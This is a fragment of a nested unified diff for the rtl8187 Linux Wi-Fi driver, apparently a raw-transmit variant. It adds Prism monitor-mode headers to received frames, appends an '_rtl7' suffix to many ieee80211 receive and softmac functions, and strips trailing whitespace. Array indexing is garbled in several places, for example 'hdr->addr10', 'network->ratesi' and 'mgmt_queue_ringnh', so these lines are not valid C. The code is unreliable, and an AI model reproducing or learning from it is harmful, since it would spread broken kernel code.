++	tail_need = 0;
++#ifdef PRISM2_ADD_BOGUS_CRC
++	tail_need += 4;
++#endif /* PRISM2_ADD_BOGUS_CRC */
++
++	head_need -= skb_headroom(skb);
++	tail_need -= skb_tailroom(skb);
++
++	if (head_need > 0 || tail_need > 0) {
++		if (pskb_expand_head(skb, head_need > 0 ? head_need : 0,
++				     tail_need > 0 ? tail_need : 0,
++				     GFP_ATOMIC)) {
++			printk(KERN_DEBUG "%s: ieee80211_rx failed to "
++			       "reallocate skb buffer\n", ieee->dev->name);
++			dev_kfree_skb_any(skb);
++			return;
++		}
++	}
++
++	if (prism_header == 1) {
++		struct linux_wlan_ng_prism_hdr *hdr;
++		hdr = (struct linux_wlan_ng_prism_hdr *)
++			skb_push(skb, phdrlen);
++		memset(hdr, 0, phdrlen);
++		hdr->msgcode = LWNG_CAP_DID_BASE;
++		hdr->msglen = sizeof(*hdr);
++		memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname));
++#define LWNG_SETVAL(f,i,s,l,d) \
++hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \
++hdr->f.status = s; hdr->f.len = l; hdr->f.data = d
++		LWNG_SETVAL(hosttime, 1, 0, 4, jiffies);
++		LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time));
++		LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0);
++		LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0);
++		LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0);
++		LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal);
++		LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise);
++		LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5);
++		LWNG_SETVAL(istx, 9, 0, 4, 0);
++		LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen);
++#undef LWNG_SETVAL
++	}
+ 
+ 	skb->dev = ieee->dev;
+ 	skb->mac.raw = skb->data;
+-	skb_pull(skb, ieee80211_get_hdrlen(fc));
++	skb_pull(skb, hdrlen);
++	if (prism_header)
++		skb_pull(skb, phdrlen);
+ 	skb->pkt_type = PACKET_OTHERHOST;
+ 	skb->protocol = __constant_htons(ETH_P_80211_RAW);
+ 	memset(skb->cb, 0, sizeof(skb->cb));
+@@ -64,7 +130,7 @@
+ 
+ /* Called only as a tasklet (software IRQ) */
+ static struct ieee80211_frag_entry *
+-ieee80211_frag_cache_find(struct ieee80211_device *ieee, unsigned int seq,
++ieee80211_frag_cache_find_rtl7(struct ieee80211_device *ieee, unsigned int seq,
+ 			  unsigned int frag, u8 *src, u8 *dst)
+ {
+ 	struct ieee80211_frag_entry *entry;
+@@ -94,7 +160,7 @@
+ 
+ /* Called only as a tasklet (software IRQ) */
+ static struct sk_buff *
+-ieee80211_frag_cache_get(struct ieee80211_device *ieee,
++ieee80211_frag_cache_get_rtl7(struct ieee80211_device *ieee,
+ 			 struct ieee80211_hdr *hdr)
+ {
+ 	struct sk_buff *skb = NULL;
+@@ -133,7 +199,7 @@
+ 	} else {
+ 		/* received a fragment of a frame for which the head fragment
+ 		 * should have already been received */
+-		entry = ieee80211_frag_cache_find(ieee, seq, frag, hdr->addr2,
++		entry = ieee80211_frag_cache_find_rtl7(ieee, seq, frag, hdr->addr2,
+ 						  hdr->addr1);
+ 		if (entry != NULL) {
+ 			entry->last_frag = frag;
+@@ -146,7 +212,7 @@
+ 
+ 
+ /* Called only as a tasklet (software IRQ) */
+-static int ieee80211_frag_cache_invalidate(struct ieee80211_device *ieee,
++static int ieee80211_frag_cache_invalidate_rtl7(struct ieee80211_device *ieee,
+ 					   struct ieee80211_hdr *hdr)
+ {
+ 	u16 sc;
+@@ -156,7 +222,7 @@
+ 	sc = le16_to_cpu(hdr->seq_ctl);
+ 	seq = WLAN_GET_SEQ_SEQ(sc);
+ 
+-	entry = ieee80211_frag_cache_find(ieee, seq, -1, hdr->addr2,
++	entry = ieee80211_frag_cache_find_rtl7(ieee, seq, -1, hdr->addr2,
+ 					  hdr->addr1);
+ 
+ 	if (entry == NULL) {
+@@ -178,7 +244,7 @@
+  *
+  * Called by ieee80211_rx */
+ static inline int
+-ieee80211_rx_frame_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb,
++ieee80211_rx_frame_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb,
+ 			struct ieee80211_rx_stats *rx_stats, u16 type,
+ 			u16 stype)
+ {
+@@ -187,8 +253,8 @@
+ 	 * response parser uses it
+ 	 */
+ 	rx_stats->len = skb->len;
+-	ieee80211_rx_mgt(ieee,(struct ieee80211_hdr *)skb->data,rx_stats);	
+-	ieee80211_rx_frame_softmac(ieee, skb, rx_stats, type, stype);
++	ieee80211_rx_mgt_rtl7(ieee,(struct ieee80211_hdr *)skb->data,rx_stats);	
++	ieee80211_rx_frame_softmac_rtl7(ieee, skb, rx_stats, type, stype);
+ 
+ 	dev_kfree_skb_any(skb);
+ 	
+@@ -253,7 +319,7 @@
+ /* No encapsulation header if EtherType < 0x600 (=length) */
+ 
+ /* Called by ieee80211_rx_frame_decrypt */
+-static int ieee80211_is_eapol_frame(struct ieee80211_device *ieee,
++static int ieee80211_is_eapol_frame_rtl7(struct ieee80211_device *ieee,
+ 				    struct sk_buff *skb)
+ {
+ 	struct net_device *dev = ieee->dev;
+@@ -294,7 +360,7 @@
+ 
+ /* Called only as a tasklet (software IRQ), by ieee80211_rx */
+ static inline int
+-ieee80211_rx_frame_decrypt(struct ieee80211_device* ieee, struct sk_buff *skb,
++ieee80211_rx_frame_decrypt_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb,
+ 			   struct ieee80211_crypt_data *crypt)
+ {
+ 	struct ieee80211_hdr *hdr;
+@@ -304,7 +370,7 @@
+ 		return 0;
+ 
+ 	hdr = (struct ieee80211_hdr *) skb->data;
+-	hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl));
++	hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl));
+ 
+ #ifdef CONFIG_IEEE80211_CRYPT_TKIP
+ 	if (ieee->tkip_countermeasures &&
+@@ -339,7 +405,7 @@
+ 
+ /* Called only as a tasklet (software IRQ), by ieee80211_rx */
+ static inline int
+-ieee80211_rx_frame_decrypt_msdu(struct ieee80211_device* ieee, struct sk_buff *skb,
++ieee80211_rx_frame_decrypt_msdu_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb,
+ 			     int keyidx, struct ieee80211_crypt_data *crypt)
+ {
+ 	struct ieee80211_hdr *hdr;
+@@ -349,7 +415,7 @@
+ 		return 0;
+ 
+ 	hdr = (struct ieee80211_hdr *) skb->data;
+-	hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl));
++	hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl));
+ 
+ 	atomic_inc(&crypt->refcnt);
+ 	res = crypt->ops->decrypt_msdu(skb, keyidx, hdrlen, crypt->priv);
+@@ -367,7 +433,7 @@
+ 
+ /* this function is stolen from ipw2200 driver*/
+ #define IEEE_PACKET_RETRY_TIME (5*HZ)
+-static int is_duplicate_packet(struct ieee80211_device *ieee,
++static int is_duplicate_packet_rtl7(struct ieee80211_device *ieee,
+ 				      struct ieee80211_hdr *header)
+ {
+ //	u16 fc = le16_to_cpu(header->frame_ctl);
+@@ -444,7 +510,7 @@
+ /* All received frames are sent to this function. @skb contains the frame in
+  * IEEE 802.11 format, i.e., in the format it was sent over air.
+  * This function is called only as a tasklet (software IRQ). */
+-int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb,
++int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb,
+ 		 struct ieee80211_rx_stats *rx_stats)
+ {
+ 	struct net_device *dev = ieee->dev;
+@@ -483,7 +549,7 @@
+ 	sc = le16_to_cpu(hdr->seq_ctl);
+ 	
+ 	frag = WLAN_GET_SEQ_FRAG(sc);
+-	hdrlen = ieee80211_get_hdrlen(fc);
++	hdrlen = ieee80211_get_hdrlen_rtl7(fc);
+ 
+ #ifdef NOT_YET
+ #if WIRELESS_EXT > 15
+@@ -501,12 +567,12 @@
+ 	}
+ #endif /* IW_WIRELESS_SPY */
+ #endif /* WIRELESS_EXT > 15 */
+-	hostap_update_rx_stats(local->ap, hdr, rx_stats);
++	hostap_update_rx_stats_rtl7(local->ap, hdr, rx_stats);
+ #endif
+ 
+ #if WIRELESS_EXT > 15
+ 	if (ieee->iw_mode == IW_MODE_MONITOR) {
+-		ieee80211_monitor_rx(ieee, skb, rx_stats);
++		ieee80211_monitor_rx_rtl7(ieee, skb, rx_stats);
+ 		stats->rx_packets++;
+ 		stats->rx_bytes += skb->len;
+ 		return 1;
+@@ -529,7 +595,7 @@
+ 		 * stations that do not support WEP key mapping). */
+ 
+ 		if (!(hdr->addr10 & 0x01) || local->bcrx_sta_key)
+-			(void) hostap_handle_sta_crypto(local, hdr, &crypt,
++			(void) hostap_handle_sta_crypto_rtl7(local, hdr, &crypt,
+ 							&sta);
+ #endif
+ 
+@@ -555,7 +621,7 @@
+ 	if (skb->len < IEEE80211_DATA_HDR3_LEN)
+ 		goto rx_dropped;
+ 
+-	if (is_duplicate_packet(ieee, hdr))
++	if (is_duplicate_packet_rtl7(ieee, hdr))
+ 		goto rx_dropped;
+ 
+ 
+@@ -575,7 +641,7 @@
+ 	#endif
+ 		
+ 	
+-		if (ieee80211_rx_frame_mgmt(ieee, skb, rx_stats, type, stype))
++		if (ieee80211_rx_frame_mgmt_rtl7(ieee, skb, rx_stats, type, stype))
+ 			goto rx_dropped;
+ 		else
+ 			goto rx_exit;
+@@ -606,7 +672,7 @@
+ 	}
+ 
+ #ifdef NOT_YET
+-	if (hostap_rx_frame_wds(ieee, hdr, fc, &wds))
++	if (hostap_rx_frame_wds_rtl7(ieee, hdr, fc, &wds))
+ 		goto rx_dropped;
+ 	if (wds) {
+ 		skb->dev = dev = wds;
+@@ -619,7 +685,7 @@
+ 	    memcmp(hdr->addr2, ieee->assoc_ap_addr, ETH_ALEN) == 0) {
+ 		/* Frame from BSSID of the AP for which we are a client */
+ 		skb->dev = dev = ieee->stadev;
+-		stats = hostap_get_stats(dev);
++		stats = hostap_get_stats_rtl7(dev);
+ 		from_assoc_ap = 1;
+ 	}
+ #endif
+@@ -630,7 +696,7 @@
+ 	if ((ieee->iw_mode == IW_MODE_MASTER ||
+ 	     ieee->iw_mode == IW_MODE_REPEAT) &&
+ 	    !from_assoc_ap) {
+-		switch (hostap_handle_sta_rx(ieee, dev, skb, rx_stats,
++		switch (hostap_handle_sta_rx_rtl7(ieee, dev, skb, rx_stats,
+ 					     wds != NULL)) {
+ 		case AP_RX_CONTINUE_NOT_AUTHORIZED:
+ 			frame_authorized = 0;
+@@ -664,7 +730,7 @@
+ 	/* skb: hdr + (possibly fragmented, possibly encrypted) payload */
+ 
+ 	if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) &&
+-	    (keyidx = ieee80211_rx_frame_decrypt(ieee, skb, crypt)) < 0)
++	    (keyidx = ieee80211_rx_frame_decrypt_rtl7(ieee, skb, crypt)) < 0)
+ 		goto rx_dropped;
+ 
+ 	hdr = (struct ieee80211_hdr *) skb->data;
+@@ -674,7 +740,7 @@
+ 	// ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) &&
+ 	if ((frag != 0 || (fc & IEEE80211_FCTL_MOREFRAGS))) {
+ 		int flen;
+-		struct sk_buff *frag_skb = ieee80211_frag_cache_get(ieee, hdr);
++		struct sk_buff *frag_skb = ieee80211_frag_cache_get_rtl7(ieee, hdr);
+ 		IEEE80211_DEBUG_FRAG("Rx Fragment received (%u)\n", frag);
+ 
+ 		if (!frag_skb) {
+@@ -694,7 +760,7 @@
+ 			printk(KERN_WARNING "%s: host decrypted and "
+ 			       "reassembled frame did not fit skb\n",
+ 			       dev->name);
+-			ieee80211_frag_cache_invalidate(ieee, hdr);
++			ieee80211_frag_cache_invalidate_rtl7(ieee, hdr);
+ 			goto rx_dropped;
+ 		}
+ 
+@@ -722,19 +788,19 @@
+ 		 * delivered, so remove skb from fragment cache */
+ 		skb = frag_skb;
+ 		hdr = (struct ieee80211_hdr *) skb->data;
+-		ieee80211_frag_cache_invalidate(ieee, hdr);
++		ieee80211_frag_cache_invalidate_rtl7(ieee, hdr);
+ 	}
+ 
+ 	/* skb: hdr + (possible reassembled) full MSDU payload; possibly still
+ 	 * encrypted/authenticated */
+ 	if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) &&
+-	    ieee80211_rx_frame_decrypt_msdu(ieee, skb, keyidx, crypt))
++	    ieee80211_rx_frame_decrypt_msdu_rtl7(ieee, skb, keyidx, crypt))
+ 		goto rx_dropped;
+ 
+ 	hdr = (struct ieee80211_hdr *) skb->data;
+ 	if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep) {
+ 		if (/*ieee->ieee802_1x &&*/
+-		    ieee80211_is_eapol_frame(ieee, skb)) {
++		    ieee80211_is_eapol_frame_rtl7(ieee, skb)) {
+ #ifdef CONFIG_IEEE80211_DEBUG
+ 			/* pass unencrypted EAPOL frames even if encryption is
+ 			 * configured */
+@@ -763,7 +829,7 @@
+ #endif
+ 
+ 	if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep &&
+-	    !ieee80211_is_eapol_frame(ieee, skb)) {
++	    !ieee80211_is_eapol_frame_rtl7(ieee, skb)) {
+ 		IEEE80211_DEBUG_DROP(
+ 			"dropped unencrypted RX data "
+ 			"frame from " MAC_FMT
+@@ -896,7 +962,7 @@
+ 
+ #define MGMT_FRAME_FIXED_PART_LENGTH		0x24
+ 
+-static inline int ieee80211_is_ofdm_rate(u8 rate)
++static inline int ieee80211_is_ofdm_rate_rtl7(u8 rate)
+ {
+ 	switch (rate & ~IEEE80211_BASIC_RATE_MASK) {
+ 	case IEEE80211_OFDM_RATE_6MB:
+@@ -913,7 +979,7 @@
+ }
+ 
+ 
+-static inline int ieee80211_network_init(
++static inline int ieee80211_network_init_rtl7(
+ 	struct ieee80211_device *ieee,
+ 	struct ieee80211_probe_response *beacon,
+ 	struct ieee80211_network *network,
+@@ -964,7 +1030,7 @@
+ 
+ 		switch (info_element->id) {
+ 		case MFIE_TYPE_SSID:
+-			if (ieee80211_is_empty_essid(info_element->data,
++			if (ieee80211_is_empty_essid_rtl7(info_element->data,
+ 						     info_element->len)) {
+ 				network->flags |= NETWORK_EMPTY_ESSID;
+ 				break;
+@@ -991,7 +1057,7 @@
+ #ifdef CONFIG_IEEE80211_DEBUG
+ 				p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->ratesi);
+ #endif
+-				if (ieee80211_is_ofdm_rate(info_element->datai)) {
++				if (ieee80211_is_ofdm_rate_rtl7(info_element->datai)) {
+ 					network->flags |= NETWORK_HAS_OFDM;
+ 					if (info_element->datai &
+ 					    IEEE80211_BASIC_RATE_MASK)
+@@ -1014,7 +1080,7 @@
+ #ifdef CONFIG_IEEE80211_DEBUG
+ 				p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->ratesi);
+ #endif
+-				if (ieee80211_is_ofdm_rate(info_element->datai)) {
++				if (ieee80211_is_ofdm_rate_rtl7(info_element->datai)) {
+ 					network->flags |= NETWORK_HAS_OFDM;
+ 					if (info_element->datai &
+ 					    IEEE80211_BASIC_RATE_MASK)
+@@ -1147,7 +1213,7 @@
+ 		return 1;
+ 	}
+ 
+-	if (ieee80211_is_empty_essid(network->ssid, network->ssid_len))
++	if (ieee80211_is_empty_essid_rtl7(network->ssid, network->ssid_len))
+ 		network->flags |= NETWORK_EMPTY_ESSID;
+ 
+ 	memcpy(&network->stats, stats, sizeof(network->stats));
+@@ -1155,7 +1221,7 @@
+ 	return 0;
+ }
+ 
+-static inline int is_same_network(struct ieee80211_network *src,
++static inline int is_same_network_rtl7(struct ieee80211_network *src,
+ 				  struct ieee80211_network *dst)
+ {
+ 	/* A network is only a duplicate if the channel, BSSID, ESSID
+@@ -1172,7 +1238,7 @@
+ 		(dst->capability & WLAN_CAPABILITY_BSS)));
+ }
+ 
+-static inline void update_network(struct ieee80211_network *dst,
++static inline void update_network_rtl7(struct ieee80211_network *dst,
+ 				  struct ieee80211_network *src)
+ {
+ 	memcpy(&dst->stats, &src->stats, sizeof(struct ieee80211_rx_stats));
+@@ -1204,7 +1270,7 @@
+ 	/* dst->last_associate is not overwritten */
+ }
+ 
+-static inline void ieee80211_process_probe_response(
++static inline void ieee80211_process_probe_response_rtl7(
+ 	struct ieee80211_device *ieee,
+ 	struct ieee80211_probe_response *beacon,
+ 	struct ieee80211_rx_stats *stats)
+@@ -1239,7 +1305,7 @@
+ 		(beacon->capability & (1<<0x1)) ? '1' : '0',
+ 		(beacon->capability & (1<<0x0)) ? '1' : '0');
+ 
+-	if (ieee80211_network_init(ieee, beacon, &network, stats)) {
++	if (ieee80211_network_init_rtl7(ieee, beacon, &network, stats)) {
+ 		IEEE80211_DEBUG_SCAN("Dropped '%s' (" MAC_FMT ") via %s.\n",
+ 				     escape_essid(info_element->data,
+ 						  info_element->len),
+@@ -1262,11 +1328,11 @@
+ 
+ 	spin_lock_irqsave(&ieee->lock, flags);
+ 	
+-	if(is_same_network(&ieee->current_network, &network))
+-		update_network(&ieee->current_network, &network);
++	if(is_same_network_rtl7(&ieee->current_network, &network))
++		update_network_rtl7(&ieee->current_network, &network);
+ 		
+ 	list_for_each_entry(target, &ieee->network_list, list) {
+-		if (is_same_network(target, &network))
++		if (is_same_network_rtl7(target, &network))
+ 			break;
+ 
+ 		if ((oldest == NULL) ||
+@@ -1306,7 +1372,7 @@
+ 		memcpy(target, &network, sizeof(*target));
+ 		list_add_tail(&target->list, &ieee->network_list);
+ 		if(ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE)
+-			ieee80211_softmac_new_net(ieee,&network); 
++			ieee80211_softmac_new_net_rtl7(ieee,&network); 
+ 	} else {
+ 		IEEE80211_DEBUG_SCAN("Updating '%s' (" MAC_FMT ") via %s.\n",
+ 				     escape_essid(target->ssid,
+@@ -1321,15 +1387,15 @@
+ 		 * net and call the new_net handler
+ 		 */
+ 		renew = !time_after(target->last_scanned + ieee->scan_age, jiffies);
+-		update_network(target, &network);
++		update_network_rtl7(target, &network);
+ 		if(renew && (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE))
+-			ieee80211_softmac_new_net(ieee,&network); 
++			ieee80211_softmac_new_net_rtl7(ieee,&network); 
+ 	}
+ 
+ 	spin_unlock_irqrestore(&ieee->lock, flags);
+ }
+ 
+-void ieee80211_rx_mgt(struct ieee80211_device *ieee,
++void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee,
+ 		      struct ieee80211_hdr *header,
+ 		      struct ieee80211_rx_stats *stats)
+ {
+@@ -1339,7 +1405,7 @@
+ 		IEEE80211_DEBUG_MGMT("received BEACON (%d)\n",
+ 				     WLAN_FC_GET_STYPE(header->frame_ctl));
+ 		IEEE80211_DEBUG_SCAN("Beacon\n");
+-		ieee80211_process_probe_response(
++		ieee80211_process_probe_response_rtl7(
+ 			ieee, (struct ieee80211_probe_response *)header, stats);
+ 		break;
+ 		
+@@ -1347,7 +1413,7 @@
+ 		IEEE80211_DEBUG_MGMT("received PROBE RESPONSE (%d)\n",
+ 				     WLAN_FC_GET_STYPE(header->frame_ctl));
+ 		IEEE80211_DEBUG_SCAN("Probe response\n");
+-		ieee80211_process_probe_response(
++		ieee80211_process_probe_response_rtl7(
+ 			ieee, (struct ieee80211_probe_response *)header, stats);
+ 		break;
+ 
+@@ -1355,5 +1421,5 @@
+ }
+ 
+ 
+-EXPORT_SYMBOL(ieee80211_rx_mgt);
+-EXPORT_SYMBOL(ieee80211_rx);
++EXPORT_SYMBOL(ieee80211_rx_mgt_rtl7);
++EXPORT_SYMBOL(ieee80211_rx_rtl7);
+diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac.c rtl8187_rawtx/ieee80211/ieee80211_softmac.c
+--- rtl8187_orig/ieee80211/ieee80211_softmac.c	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/ieee80211/ieee80211_softmac.c	2007-06-05 14:00:29.000000000 +0200
+@@ -1,14 +1,14 @@
+ /* IEEE 802.11 SoftMAC layer
+  * Copyright (c) 2005 Andrea Merello <andreamrl@tiscali.it>
+  *
+- * Mostly extracted from the rtl8180-sa2400 driver for the 
++ * Mostly extracted from the rtl8180-sa2400 driver for the
+  * in-kernel generic ieee802.11 stack.
+  *
+  * Few lines might be stolen from other part of the ieee80211
+  * stack. Copyright who own it's copyright
+  *
+  * WPA code stolen from the ipw2200 driver.
+- * Copyright who own it's copyright. 
++ * Copyright who own it's copyright.
+  *
+  * released under the GPL
+  */
+@@ -20,12 +20,12 @@
+ #include <linux/delay.h>
+ #include <linux/version.h>
+ 
+-short ieee80211_is_54g(struct ieee80211_network net)
++short ieee80211_is_54g_rtl7(struct ieee80211_network net)
+ {
+ 	return ((net.rates_ex_len > 0) || (net.rates_len > 4));
+ }
+ 
+-short ieee80211_is_shortslot(struct ieee80211_network net)
++short ieee80211_is_shortslot_rtl7(struct ieee80211_network net)
+ {
+ 	return (net.capability & WLAN_CAPABILITY_SHORT_SLOT);
+ }
+@@ -34,28 +34,28 @@
+  * tag and the EXTENDED RATE MFIE tag if needed.
+  * It encludes two bytes per tag for the tag itself and its len
+  */
+-unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee)
++unsigned int ieee80211_MFIE_rate_len_rtl7(struct ieee80211_device *ieee)
+ {
+ 	unsigned int rate_len = 0;
+-	
++
+ 	if (ieee->modulation & IEEE80211_CCK_MODULATION)
+ 		rate_len = IEEE80211_CCK_RATE_LEN + 2;
+-		
++
+ 	if (ieee->modulation & IEEE80211_OFDM_MODULATION)
+-		
++
+ 		rate_len += IEEE80211_OFDM_RATE_LEN + 2;
+-	
++
+ 	return rate_len;
+ }
+ 
+-/* pleace the MFIE rate, tag to the memory (double) poined. 
++/* pleace the MFIE rate, tag to the memory (double) poined.
+  * Then it updates the pointer so that
+  * it points after the new MFIE tag added.
+- */  
+-void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p)
++ */
++void ieee80211_MFIE_Brate_rtl7(struct ieee80211_device *ieee, u8 **tag_p)
+ {
+-	u8 *tag = *tag_p; 
+-	
++	u8 *tag = *tag_p;
++
+ 	if (ieee->modulation & IEEE80211_CCK_MODULATION){
+ 		*tag++ = MFIE_TYPE_RATES;
+ 		*tag++ = 4;
+@@ -64,17 +64,17 @@
+ 		*tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB;
+ 		*tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB;
+ 	}
+-	
++
+ 	/* We may add an option for custom rates that specific HW might support */
+ 	*tag_p = tag;
+ }
+ 
+-void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 **tag_p)
+-{	
+-	u8 *tag = *tag_p; 
+-	
++void ieee80211_MFIE_Grate_rtl7(struct ieee80211_device *ieee, u8 **tag_p)
++{
++	u8 *tag = *tag_p;
++
+ 		if (ieee->modulation & IEEE80211_OFDM_MODULATION){
+-		
++
+ 		*tag++ = MFIE_TYPE_RATES_EX;
+ 		*tag++ = 8;
+ 		*tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB;
+@@ -85,73 +85,73 @@
+ 		*tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB;
+ 		*tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB;
+ 		*tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB;
+-		
++
+ 	}
+-	
++
+ 	/* We may add an option for custom rates that specific HW might support */
+ 	*tag_p = tag;
+ }
+ 
+-void enqueue_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb)
++void enqueue_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb)
+ {
+ 	int nh;
+ 	nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM;
+-			
++
+ /*
+  * if the queue is full but we have newer frames then
+  * just overwrites the oldest.
+- *	
++ *
+  * if (nh == ieee->mgmt_queue_tail)
+  *		return -1;
+- */		
++ */
+ 	ieee->mgmt_queue_head = nh;
+ 	ieee->mgmt_queue_ringnh = skb;
+-	
++
+ 	//return 0;
+ }
+ 
+-struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee)
++struct sk_buff *dequeue_mgmt_rtl7(struct ieee80211_device *ieee)
+ {
+ 	struct sk_buff *ret;
+-	
++
+ 	if(ieee->mgmt_queue_tail == ieee->mgmt_queue_head)
+ 		return NULL;
+-		
++
+ 	ret = ieee->mgmt_queue_ringieee->mgmt_queue_tail;
+-	
+-	ieee->mgmt_queue_tail = 
++
++	ieee->mgmt_queue_tail =
+ 		(ieee->mgmt_queue_tail+1) % MGMT_QUEUE_NUM;
+-	
++
+ 	return ret;
+ }
+ 
+-void init_mgmt_queue(struct ieee80211_device *ieee)
++void init_mgmt_queue_rtl7(struct ieee80211_device *ieee)
+ {
+ 	ieee->mgmt_queue_tail = ieee->mgmt_queue_head = 0;
+ }
+ 
+ 
+-void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl);
++void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl);
+ 
+-inline void softmac_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee)
++inline void softmac_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee)
+ {
+ 	unsigned long flags;
+ 	short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE;
+ 	struct ieee80211_hdr_3addr  *header=
+ 		(struct ieee80211_hdr_3addr  *) skb->data;
+-	
+-	
++
++
+ 	spin_lock_irqsave(&ieee->lock, flags);
+-	
++
+ 	/* called with 2nd param 0, no mgmt lock required */
+-	ieee80211_sta_wakeup(ieee,0);
+-		
++	ieee80211_sta_wakeup_rtl7(ieee,0);
++
+ 	if(single){
+-		
++
+ 		if(ieee->queue_stop){
+-			
+-			enqueue_mgmt(ieee,skb);
+-		
++
++			enqueue_mgmt_rtl7(ieee,skb);
++
+ 		}else{
+ 			header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4);
+ 
+@@ -159,119 +159,119 @@
+ 				ieee->seq_ctrl = 0;
+ 			else
+ 				ieee->seq_ctrl++;
+-			
++
+ 			/* avoid watchdog triggers */
+ 			ieee->dev->trans_start = jiffies;
+ 			ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate);
+ 		}
+-		
++
+ 		spin_unlock_irqrestore(&ieee->lock, flags);
+ 	}else{
+ 		spin_unlock_irqrestore(&ieee->lock, flags);
+ 		spin_lock_irqsave(&ieee->mgmt_tx_lock, flags);
+-	
++
+ 		header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4);
+-	
++
+ 		if (ieee->seq_ctrl == 0xFFF)
+ 			ieee->seq_ctrl = 0;
+ 		else
+ 			ieee->seq_ctrl++;
+-		
++
+ 		ieee->softmac_hard_start_xmit(skb,ieee->dev);
+-		
++
+ 		spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags);
+ 	}
+ }
+ 
+ 
+-inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee)
++inline void softmac_ps_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee)
+ {
+-	
++
+ 	short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE;
+ 	struct ieee80211_hdr_3addr  *header =
+ 		(struct ieee80211_hdr_3addr  *) skb->data;
+-	
+-	
++
++
+ 	if(single){
+-		
++
+ 		header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4);
+ 
+ 		if (ieee->seq_ctrl == 0xFFF)
+ 			ieee->seq_ctrl = 0;
+ 		else
+ 			ieee->seq_ctrl++;
+-			
++
+ 		/* avoid watchdog triggers */
+ 		ieee->dev->trans_start = jiffies;
+ 		ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate);
+-	
++
+ 	}else{
+-		
++
+ 		header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4);
+-	
++
+ 		if (ieee->seq_ctrl == 0xFFF)
+ 			ieee->seq_ctrl = 0;
+ 		else
+ 			ieee->seq_ctrl++;
+ 
+ 		ieee->softmac_hard_start_xmit(skb,ieee->dev);
+-		
++
+ 	}
+ }
+ 
+-inline struct sk_buff *ieee80211_probe_req(struct ieee80211_device *ieee)
++inline struct sk_buff *ieee80211_probe_req_rtl7(struct ieee80211_device *ieee)
+ {
+ 	unsigned int len,rate_len;
+ 	u8 *tag;
+ 	struct sk_buff *skb;
+ 	struct ieee80211_probe_request *req;
+-	
++
+ 	len = ieee->current_network.ssid_len;
+-	
+-	rate_len = ieee80211_MFIE_rate_len(ieee);
+-	
++
++	rate_len = ieee80211_MFIE_rate_len_rtl7(ieee);
++
+ 	skb = dev_alloc_skb(sizeof(struct ieee80211_probe_request) +
+ 			    2 + len + rate_len);
+-	
+-	if (!skb) 
++
++	if (!skb)
+ 		return NULL;
+-	
++
+ 	req = (struct ieee80211_probe_request *) skb_put(skb,sizeof(struct ieee80211_probe_request));
+ 	req->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_REQ);
+-	req->header.duration_id = 0; //FIXME: is this OK ? 
+-	
++	req->header.duration_id = 0; //FIXME: is this OK ?
++
+ 	memset(req->header.addr1, 0xff, ETH_ALEN);
